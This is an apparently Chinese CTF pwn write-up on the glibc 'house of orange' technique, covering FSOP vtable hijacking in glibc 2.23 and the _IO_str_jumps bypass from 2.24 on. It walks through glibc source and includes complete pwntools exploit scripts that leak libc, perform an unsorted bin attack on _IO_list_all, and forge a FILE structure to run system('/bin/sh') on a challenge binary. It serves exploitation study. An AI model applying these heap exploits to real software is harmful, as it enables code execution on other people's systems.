io利用之house of orange

io利用 house of orange

原理

house of orange可以说是开辟了io利用的先河,可以说,学习io,house of orange是绕不开的一个课题,io结构体分为两个部分

其中一个是由io_list_all所连接的三个结构体,他们分别是stderr,stdout和stdin

关于他们的结构以及利用,大家可以去看我的另一篇文章,就是说stdout结构体的利用的

我们今天要介绍的是另一个部分——虚表

也就是上面的vtable段

那什么是虚表,vtable(虚表)是一个用于支持多态性的技术。每个对象通过其类型的vtable指针调用正确的函数实现。在glibc中,vtable被用于IO_FILE结构的虚拟函数调度。然而,在某些情况下,恶意操控vtable可以实现任意代码执行。

我们来看看2.23的虚表源代码(2.23的虚表指针指向了一个叫_IO_jump_t的结构体)

// libio/libioP.h

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

extern struct _IO_FILE_plus *_IO_list_all;

也许你暂时一行都看不懂,但是没关系,我们暂时只做了解即可

我们问题在于怎么去进行劫持虚表,到底要劫持到哪里,这就要将今天的fsop技术了

fsop

FSOP(File Stream Oriented Programming)是一种劫持 _IO_list_all(libc.so中的全局变量) 来伪造链表的利用技术,通过调用 _IO_flush_all_lockp()函数来触发,该函数会在下面三种情况下被调用:

  • libc 检测到内存错误时
  • 执行 exit 函数时
  • main 函数返回时

这里我们选择其中一条路

当 glibc 检测到内存错误时,会依次调用这样的函数路径:

malloc_printerr -> libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

程序检查到错误,先进入malloc_printerr函数里面,这是该函数的源代码,这个函数会调用libc_message函数进行打印错误信息

void
__libc_message (int action, const char *fmt, ...)
{
  va_list ap;
  va_start (ap, fmt);
  _IO_vfprintf (_IO_stderr, fmt, ap);
  va_end (ap);
  if (action & M_ACTION_EXIT)
    exit (2);
  if (action & M_ACTION_ABORT)
    abort ();
}

随后调用abort函数进行程序的终止

/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
  struct sigaction act;
  sigset_t sigs;

  /* First acquire the lock.  */
  __libc_lock_lock_recursive (lock);

  /* Now it's for sure we are alone.  But recursive calls are possible.  */

  /* Unlock SIGABRT.  */
  if (stage == 0)
    {
      ++stage;
      if (__sigemptyset (&sigs) == 0 &&
      __sigaddset (&sigs, SIGABRT) == 0)
    __sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
    }

  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

  /* Send signal which possibly calls a user handler.  */
  if (stage == 2)
...........

在glibc 2.23中,abort函数在终止程序时会调用_IO_flush_all_lockp函数,这是为了确保在程序退出前,所有的stdio流都被正确刷新,当程序调用abort时,首先会解除所有信号的阻塞状态,然后尝试刷新所有打开的文件流。这个刷新操作通过调用_IO_flush_all_lockp来完成,它试图在不进行任何锁定的情况下刷新所有文件。这是为了避免在信号处理期间引发死锁问题。随后,如果有用户定义的SIGABRT信号处理程序,这个处理程序会被调用。最后,如果这些操作都没有成功终止程序,abort函数会执行一个系统特定的命令来强制终止程序,这样设计的原因是为了确保在程序意外终止时,尽可能多地保存和刷新输出数据,以防丢失。

当然,我们不需要知道这么多,只需要知道调用abort函数之前会调用_IO_flush_all_lockp函数就行

// libio/iofclose.c

int
_IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);                      // fp 指向伪造的 vtable
  if (fp->_mode > 0)
    {
#if _LIBC
      /* This stream has a wide orientation.  This means we have to free
     the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
#endif
    }
  else
    {
      if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}

而我们的_IO_flush_all_lockp会刷新所有的io缓冲区,这个时候就会调用到虚表里面的IO_OVERFLOW函数

_IO_flush_all_lockp 会把 _IO_list_all作为链表头开始遍历,并把当前节点作为IO_OVERFLOW 的参数。IO_OVERFLOW 是 vtable 中的第四项。

int _IO_OVERFLOW (_IO_FILE *fp, int ch)
{
  if (ch == EOF)
    return EOF;
  if (fp->_flags & _IO_NO_WRITES)
    return EOF;
  if (fp->_flags & _IO_LINE_BUF)
    _IO_do_flush (fp);
  *fp->_IO_write_ptr++ = ch;
  if (fp->_IO_write_ptr >= fp->_IO_write_end)
    return _IO_do_flush (fp);
  return (unsigned char) ch;
}

_IO_OVERFLOW 实际上是调用文件流的 vtable 中的函数,因此如果我们伪造了 vtable,这里就会执行我们伪造的函数。

只要简单的绕过一下检查

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

我们把 fp的第一个参数改为 /bin/sh\x00 ,vtable->IO_OVERFLOW 改为 system 函数即可,最后执行_IO_OVERFLOW (fp, EOF)的时候就会执行system("/bin/sh"),绕过方法我们后面会说

house of orange 2.23

具体题目的ida我就不放了,我会把附件放在文章后面

简单来说,我们只有一次show的机会,还有堆溢出,没有free函数,剩下的没什么好说的了

那么前半部分就是要研究如何在没有free的情况下泄露出libc,因为这不是本文的重点,所以我们就简单的略过一下。

只要先利用溢出等方式进行篡改top chunk的size(会有检查,但是我们一般保留末三位),然后申请一个大于top chunk的size,这个时候top_chunk就会被free进unsortedbin里面,再利用一次show的机会,泄露出libc

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
libc=ELF('libc.so.6')
io=process('./pwn')

def dbg():
    gdb.attach(io)
    pause()

def add(size,content):
    io.sendlineafter('Your choice : ',str(1))
    io.sendlineafter('Length of name :',str(size))
    io.sendafter('Name :',content)
    io.sendlineafter('Price of Orange:',str(1))
    io.sendlineafter('Color of Orange:',str(2))

def edit(size,content):
    io.sendlineafter('Your choice : ',str(3))
    io.sendlineafter('Length of name :',str(size))
    io.sendafter('Name:',content)
    io.sendlineafter('Price of Orange:',str(1))
    io.sendlineafter('Color of Orange:',str(2))

def delete(index):
    io.sendlineafter('4.show\n',str(2))
    io.sendlineafter('index:\n',str(index))

def show():
    io.sendlineafter('Your choice : ',str(2))

add(0x10,'a')
edit(0x40,b'b'*0x18+p64(0x21)+p64(0x0000002000000001)+p64(0)*2+p64(0xfa1))
add(0x1000,'c'*8)
add(0x400,'d'*8)
show()
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c5188
print(hex(libc_base))
io_list_all=libc_base+libc.symbols['_IO_list_all']
system=libc_base+libc.symbols['system']

edit(0x20,'e'*0x10)
show()
io.recvuntil(b'e'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(heap_base))

到这里都不算难的,我们今天的重点就是后面的io利用

我们可以利用 unsorted bin attack 去劫持 _IO_list_all 指向 main_arena + 88 的位置处,但是其内容我们却不可控制,那我们把他看作 _IO_FILE 结构体,利用他的 _chain字段来指向我们可控的内存处,main_arena + 88 + 0x68 = main_arena + 0xC0 ,那里恰好储存着大小为 0x60大小的 small bin 的第一个 chunk 地址。所以我们把 unsorted bin 的 size 改为 0x60,然后再发生 unsorted bin 遍历的时候,这个 unsorted bin 就会链入 main_arena + 0xC0 处。

这个时候还有一个知识点,那就是我们的unsorted bin里面的堆块不会放进fastbin里面

现在来看看上面的检查怎么绕过

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

这个检查很容易就可以绕过,首先确保 mode 的值 <= 0,然后你需要确保 fp->IO_write_ptr > fp->_IO_write_base,这个也很简单,我们只需要伪造io的时候注意一下就可以了

接下来正式开始我们的攻击,因为我们是对当前堆块进行操作,也就是这个高亮的堆块

所以我们要通过溢出来控制到下面的unsorted bin里面的堆块

payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)

到这里,就可以对我们的unsorted bin进行操作了

fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)

根据上面的思路,我们把bk改成了io_list_all,这样在完成unsorted bin attack的时候,io_list_all里面就会写入main_arena + 88,而正常来说,io_list_all里面记录的是stderr的地址,也就是说,我们把从mian_arena+88开始的这一部分当做了stderr,stderr的chain字段就在偏移为0x68的地方,指向的是stdout结构体,那mian_arena+88+0x68,刚好是smallbin[4],也就是大小为0x60的smallbin,如果我们把unsorted bin里面的这个堆块size改为0x61,那下次再申请堆块的时候,程序检查发现标志位是1,先会被放进small bin,再触发报错,刷新缓冲区,而现在这个堆块又会被当做stdout结构体,又可以在堆块里面伪造我们的io和虚表。

这个时候,从这个堆块的pre_size开始,会被当做flag字段,

fsop+= p64(0) #write base
fsop+= p64(1) #write ptr  fp->_IO_write_ptr > _IO_write_base
fsop=fsop.ljust(0xd8,b'\x00')
vtable_addr = heap_base + 0x4f0 + 0xd8+8
fsop+= p64(vtable_addr)

fsop+= p64(0) #__dummy
fsop+= p64(0) #__dummy2
fsop+= p64(0) #__finish
fsop+= p64(system) #_IO_OVERFLOW
payload+=fsop
edit(len(payload),payload)

然后依次伪造,绕过检查,最后把虚表地址直接放在这个堆块后面的地址

可以看到,在下一次malloc的时候触发报错,同时完成攻击

2.24

相较于2.23那种肆无忌惮的位置,从2.24开始程序就对虚表进行了检查,我们在2.23任意地址伪造堆块都可以,但是在2.24之后,程序会检查你的虚表地址是不是在虚表的范围内

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

是否在 start_libc_IO_vtables 和 _stop___libc_IO_vtables 之间,这就极大影响了我们的构造,但是也有别的方法

因为虚表远不止一种,所以在虚表范围内也会存在很多种虚表,这次主要介绍_IO_str_jumps 这个虚表

pwndbg> p _IO_str_jumps
$1 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7f5e537abfb0 <_IO_str_finish>,
  __overflow = 0x7f5e537abc90 <__GI__IO_str_overflow>,
  __underflow = 0x7f5e537abc30 <__GI__IO_str_underflow>,
  __uflow = 0x7f5e537aa610 <__GI__IO_default_uflow>,
  __pbackfail = 0x7f5e537abf90 <__GI__IO_str_pbackfail>,
  __xsputn = 0x7f5e537aa640 <__GI__IO_default_xsputn>,
  __xsgetn = 0x7f5e537aa720 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7f5e537ac0e0 <__GI__IO_str_seekoff>,
  __seekpos = 0x7f5e537aaa10 <_IO_default_seekpos>,
  __setbuf = 0x7f5e537aa940 <_IO_default_setbuf>,
  __sync = 0x7f5e537aac10 <_IO_default_sync>,
  __doallocate = 0x7f5e537aaa30 <__GI__IO_default_doallocate>,
  __read = 0x7f5e537abae0 <_IO_default_read>,
  __write = 0x7f5e537abaf0 <_IO_default_write>,
  __seek = 0x7f5e537abac0 <_IO_default_seek>,
  __close = 0x7f5e537aac10 <_IO_default_sync>,
  __stat = 0x7f5e537abad0 <_IO_default_stat>,
  __showmanyc = 0x7f5e537abb00 <_IO_default_showmanyc>,
  __imbue = 0x7f5e537abb10 <_IO_default_imbue>
}

其中的io_str_finsh函数可以起到类似的效果

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

IO_str_jumps 其中的 IO_str_finish 直到 libc-2.27 版本都是下面这种实现手段。也就是说,如果修改 ((IO_str file *) fp)->_s.free_buffer 为 system 地址,然后修改 fp->IO_buf_base 为 /bin/sh 字符串地址,然后触发程序执行 IO_str_finish 函数就可以得到 shell

libc-2.28 版本起 _IO_str_finish 不再调用 _free_buffer 而是直接是直接调用 free ,因此该方法失效。

要想触发程序执行 IO_str_finish 函数就需要将 vtable 指向 IO_str_jumps 往上的某个偏移,使得下一个要调用的 vtable 中的函数(最好是第一个被调用的函数,因为 vtable 已经被破坏)的位置恰好是 IO_str_finish

我们可以看出,若符合条件这个函数会把 (IO_strfile ) fp)->_s._free_buffer) 当作函数指针来直接调用,并且把 fp->IO_buf_base 当成他的参数。(IO_strfile ) fp)->_s._free_buffer) 从 IDA 里分析或者用 gdb 调试可知其实是 fp + 0xe8 的位置。那我们先把 vtable 的值改为 IO_srt_jums - 0x8 ,再把 fp + 0xe8 放上 system,_IO_buf_base 放上 /bin/sh 的地址,即可getshell。由于不需要伪造虚表,这里还并不需要泄露 heap_base。值得注意的是 _IO_str_jumps 并不是导出符号,这里我给出一个python的脚本,用以确定位置

def get_IO_str_jumps():
   IO_file_jumps_offset = libc.sym['_IO_file_jumps']
   IO_str_underflow_offset = libc.sym['_IO_str_underflow']
   for ref_offset in libc.search(p64(IO_str_underflow_offset)):
       possible_IO_str_jumps_offset = ref_offset - 0x20
       if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          return possible_IO_str_jumps_offset

最后附上完整的exp

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
libc=ELF('libc-2.23.so')
io=process('./pwn')
def dbg():
    #gdb.attach(io,'b *$rebase(0x13AF)')
    gdb.attach(io)

def get_IO_str_jumps():
   IO_file_jumps_offset = libc.sym['_IO_file_jumps']
   IO_str_underflow_offset = libc.sym['_IO_str_underflow']
   for ref_offset in libc.search(p64(IO_str_underflow_offset)):
       possible_IO_str_jumps_offset = ref_offset - 0x20
       if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          return possible_IO_str_jumps_offset

def add(size,content):
    io.sendlineafter('Your choice : ',str(1))
    io.sendlineafter('Length of name :',str(size))
    io.sendafter('Name :',content)
    io.sendlineafter('Price of Orange:',str(1))
    io.sendlineafter('Color of Orange:',str(2))

def edit(size,content):
    io.sendlineafter('Your choice : ',str(3))
    io.sendlineafter('Length of name :',str(size))
    io.sendafter('Name:',content)
    io.sendlineafter('Price of Orange:',str(1))
    io.sendlineafter('Color of Orange:',str(2))

def delete(index):
    io.sendlineafter('4.show\n',str(2))
    io.sendlineafter('index:\n',str(index))

def show():
    io.sendlineafter('Your choice : ',str(2))

add(0x10,'a')
edit(0x40,b'b'*0x18+p64(0x21)+p64(0x0000002000000001)+p64(0)*2+p64(0xfa1))
add(0x1000,'c'*8)
add(0x400,'d'*8)
show()
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c5188
print(hex(libc_base))

io_str_jumps= libc_base+get_IO_str_jumps()
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
print(hex(io_str_jumps))

fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0)          #write base
fsop+= p64(1)          #write ptr  fp->_IO_write_ptr > fp->_IO_write_base
fsop+= p64(0)          #write end
fsop+= p64(binsh_addr) #buf base
fsop = fsop.ljust(0xd8,b'\x00')
fsop+= p64(io_str_jumps - 0x8) #vtable
fsop+= p64(0) #_IO_FILE + 0xE8
fsop+= p64(system_addr)

payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop

edit(len(payload),payload)
io.recv()
io.sendline(str(1))
#dbg()
io.interactive()

参考连接

https://www.cnblogs.com/pwnfeifei/p/15806964.html
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.13_io_file.md
0 条评论
某人
表情
可输入 255